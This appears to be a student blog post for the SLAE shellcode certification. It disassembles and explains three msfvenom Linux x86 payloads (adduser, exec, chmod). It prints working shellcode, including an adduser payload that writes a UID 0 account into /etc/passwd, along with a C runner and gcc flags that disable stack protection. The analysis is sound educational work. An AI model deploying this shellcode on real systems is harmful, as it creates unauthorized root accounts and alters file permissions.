SLAE- Assignment #5- Analyze MSFPayload Shell Code

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

SLAE #1488
Handle: t0b0rx0r
Github: n/a

In this assignment I was tasked with analyzing the output of 3 self selected payloads from msfpayload. As MSFPayload is deprecated I completed the example using MSFVenom.

To begin I first had to manually install metasploit onto my (old) copy of Ubuntu. Thank you to the link below to making this easy.

https://computingforgeeks.com/how-to-install-metasploit-framework-on-ubuntu-18-04-debian-9/

Next I opted to display all available payloads and selected 3 for this assignment.

I selected the following

  1. AddUser
  2. Exec
  3. BindShell
msfvenom -p linux/x86/adduser -f c

t0b0rx0r@slae-VirtualBox:~/metasploit$ msfvenom -l payloads | grep linux
    linux/x86/adduser                                   Create a new user with UID 0
    linux/x86/chmod                                     Runs chmod on specified file with specified mode
    linux/x86/exec                                      Execute an arbitrary command
    linux/x86/meterpreter/bind_ipv6_tcp                 Inject the mettle server payload (staged). Listen for an IPv6 connection (Linux x86)
    linux/x86/meterpreter/bind_ipv6_tcp_uuid            Inject the mettle server payload (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
    linux/x86/meterpreter/bind_nonx_tcp                 Inject the mettle server payload (staged). Listen for a connection
    linux/x86/meterpreter/bind_tcp                      Inject the mettle server payload (staged). Listen for a connection (Linux x86)
    linux/x86/meterpreter/bind_tcp_uuid                 Inject the mettle server payload (staged). Listen for a connection with UUID Support (Linux x86)
    linux/x86/meterpreter/find_tag                      Inject the mettle server payload (staged). Use an established connection
    linux/x86/meterpreter/reverse_ipv6_tcp              Inject the mettle server payload (staged). Connect back to attacker over IPv6
    linux/x86/meterpreter/reverse_nonx_tcp              Inject the mettle server payload (staged). Connect back to the attacker
    linux/x86/meterpreter/reverse_tcp                   Inject the mettle server payload (staged). Connect back to the attacker
    linux/x86/meterpreter/reverse_tcp_uuid              Inject the mettle server payload (staged). Connect back to the attacker
    linux/x86/meterpreter_reverse_http                  Run the Meterpreter / Mettle server payload (stageless)
    linux/x86/meterpreter_reverse_https                 Run the Meterpreter / Mettle server payload (stageless)
    linux/x86/meterpreter_reverse_tcp                   Run the Meterpreter / Mettle server payload (stageless)
    linux/x86/metsvc_bind_tcp                           Stub payload for interacting with a Meterpreter Service
    linux/x86/metsvc_reverse_tcp                        Stub payload for interacting with a Meterpreter Service
    linux/x86/read_file                                 Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
    linux/x86/shell/bind_ipv6_tcp                       Spawn a command shell (staged). Listen for an IPv6 connection (Linux x86)
    linux/x86/shell/bind_ipv6_tcp_uuid                  Spawn a command shell (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
    linux/x86/shell/bind_nonx_tcp                       Spawn a command shell (staged). Listen for a connection
    linux/x86/shell/bind_tcp                            Spawn a command shell (staged). Listen for a connection (Linux x86)
    linux/x86/shell/bind_tcp_uuid                       Spawn a command shell (staged). Listen for a connection with UUID Support (Linux x86)
    linux/x86/shell/find_tag                            Spawn a command shell (staged). Use an established connection
    linux/x86/shell/reverse_ipv6_tcp                    Spawn a command shell (staged). Connect back to attacker over IPv6
    linux/x86/shell/reverse_nonx_tcp                    Spawn a command shell (staged). Connect back to the attacker
    linux/x86/shell/reverse_tcp                         Spawn a command shell (staged). Connect back to the attacker
    linux/x86/shell/reverse_tcp_uuid                    Spawn a command shell (staged). Connect back to the attacker
    linux/x86/shell_bind_ipv6_tcp                       Listen for a connection over IPv6 and spawn a command shell
    linux/x86/shell_bind_tcp                            Listen for a connection and spawn a command shell
    linux/x86/shell_bind_tcp_random_port                Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
    linux/x86/shell_find_port                           Spawn a shell on an established connection
    linux/x86/shell_find_tag                            Spawn a shell on an established connection (proxy/nat safe)
    linux/x86/shell_reverse_tcp                         Connect back to attacker and spawn a command shell
    linux/x86/shell_reverse_tcp_ipv6                    Connect back to attacker and spawn a command shell over IPv6
    linux/zarch/meterpreter_reverse_http                Run the Meterpreter / Mettle server payload (stageless)
    linux/zarch/meterpreter_reverse_https               Run the Meterpreter / Mettle server payload (stageless)
    linux/zarch/meterpreter_reverse_tcp                 Run the Meterpreter / Mettle server payload (stageless)

Review #1- AddUser

  1. I first began by generating an instance of this payload utilizing C style code
t0b0rx0r@slae-VirtualBox:~/metasploit$ msfvenom -p linux/x86/adduser -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 97 bytes
Final size of c file: 433 bytes
unsigned char buf[] = 
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65"
"\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73"
"\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a"
"\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58"
"\xcd\x80\x6a\x01\x58\xcd\x80";

Then I used Ndisasm to review the assembly of the code

echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u -
00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E828000000        call dword 0x53
0000002B  6D                insd
0000002C  657461            gs jz 0x90
0000002F  7370              jnc 0xa1
00000031  6C                insb
00000032  6F                outsd
00000033  69743A417A2F6449  imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B  736A              jnc 0xa7
0000003D  3470              xor al,0x70
0000003F  3449              xor al,0x49
00000041  52                push edx
00000042  633A              arpl [edx],di
00000044  303A              xor [edx],bh
00000046  303A              xor [edx],bh
00000048  3A2F              cmp ch,[edi]
0000004A  3A2F              cmp ch,[edi]
0000004C  62696E            bound ebp,[ecx+0x6e]
0000004F  2F                das
00000050  7368              jnc 0xba
00000052  0A598B            or bl,[ecx-0x75]
00000055  51                push ecx
00000056  FC                cld
00000057  6A04              push byte +0x4
00000059  58                pop eax
0000005A  CD80              int 0x80
0000005C  6A01              push byte +0x1
0000005E  58                pop eax
0000005F  CD80              int 0x80

I also used gdb to perform a live review of the application in a C wrapper.

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80";
//msfvenom -p linux/x86/adduser -f c


main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

Walking through the above I noticed that system call 70 is being called first which is the SetReuID that set real and/or effective user or group ID.

ecx=0
ebx=0
push 0x46  (70 in decimal) and pop it to EAX
int setreuid(uid_t ruid, uid_t euid);

Next appears to be a call to the Open system call to the /etc/passwd file.

eax=5
ecx=0
push 0
0x64777373 , 0x61702f2f ,  0x6374652f -> dwssap//cte/ -> /etc/passwd
ebx= ESP
ecx=4
int open(const char *pathname, int flags, mode_t mode);

The next group segment of code appeared to be validation.

Insd Input string from port/Input doubleword string from port
gs this code is used to validate that the stack hasn't exploded or been corupted, using a canary value stored at GS+0x14

I proceeded to review the next segment of code I realized that certain information was not readily apparent, i.e. the username and password being set. Rolling with it, i set a break point at the next interrupt and started reviewing the registers to finally find the credential information.

"metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀"

The next code segment appeared to be a write of the etc file.

eax=4

The final code segment had an exit of the application

eax=1

Review #2- Exec

Before diving deep into this exercise I first reviewed the options that were present on this MsfVenom command.

Performing a similar process as the first application exported

  1. Generate code via MsfVenom
  2. Generated Ndisasm file using output from MSFVenom
  3. Ran code from within gdb
msfvenom -p linux/x86/exec cmd='uname -a' -f c > msfvenom_exec.txt

echo -ne "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x09\x00\x00\x00\x75\x6e\x61\x6d\x65\x20\x2d\x61\x00\x57\x53\x89\xe1\xcd\x80" | ndisasm -u - > msfvenom_exec_ndisasm.txt

gcc -fno-stack-protector -z execstack shellcode_assignment5-exec.c -o shellcode_assignment5-exec
00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E809000000        call dword 0x26
0000001D  756E              jnz 0x8d
0000001F  61                popad
00000020  6D                insd
00000021  65202D61005753    and [dword gs:0x53570061],ch
00000028  89E1              mov ecx,esp
0000002A  CD80              int 0x80

Reviewing the the entire code I realized that this payload was a reference to the systemcall execve

eax= 0xb = 11 = execve
int execve(const char *filename, char *const argv[], char *const envp[]);

argv  is  an  array of argument strings passed to the new program.
       By convention, the first of these strings should contain the file‐
       name associated with the file being executed
envp is an array of
       strings, conventionally of the form key=value, which are passed as
       environment to the new program

Through some analysis I pieced the code back together with the following detail

From within GDB on top of the stack a little endian version of /bin/sh -c is being formed

nib/hs/c-   

As I was reviewing the code I also stumbled on the jump call pop technique described in the SLAE material. Specifically it seems as though the structure is being used to capture the pointer address to a string being built out of hex. While the equivalent asm means nothing a direct conversion of the hex creates the command passed to CMD which was “uname -a”

The next block of code leverages a POPAD to move items to registers.

POPAD from the stack into the general-purpose registers.  The registers are loaded in the following order: EDI, ESI, EBP, EBX, EDX, ECX, and EAX

Review #3- CHMOD

In this review, I examined the msfvenom out of chmod

First I reviewed the available options that msfvenom provides for this payload.

msfvenom -p  linux/x86/chmod FILE=testfile -f c
"\x99\x6a\x0f\x58\x52\xe8\x09\x00\x00\x00\x74\x65\x73\x74\x66"
"\x69\x6c\x65\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01"
"\x58\xcd\x80";

I then converted this output with Ndisasm

t0b0rx0r@slae-VirtualBox:~/SLAE/aaron/assignment5$ echo -ne "\x99\x6a\x0f\x58\x52\xe8\x09\x00\x00\x00\x74\x65\x73\x74\x66\x69\x6c\x65\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u -
00000000  99                cdq
00000001  6A0F              push byte +0xf
00000003  58                pop eax
00000004  52                push edx
00000005  E809000000        call dword 0x13
0000000A  7465              jz 0x71
0000000C  7374              jnc 0x82
0000000E  66696C65005B68    imul bp,[ebp+0x0],word 0x685b
00000015  B601              mov dh,0x1
00000017  0000              add [eax],al
00000019  59                pop ecx
0000001A  CD80              int 0x80
0000001C  6A01              push byte +0x1
0000001E  58                pop eax
0000001F  CD80              int 0x80

Beginning at the top I identified syscall 15 (chmod)

Per the man page the following format is identified chmod [OPTION]… MODE[,MODE]… FILE

Next I loaded the file into GDB

After examining the next few commands I identified what appears to be the CALL-JMP-POP format of instructions which suggests that the opcode would be interupted as HEX versus assembly. In this case the name of the test file that I provided

Finally I identified the octal version of 0666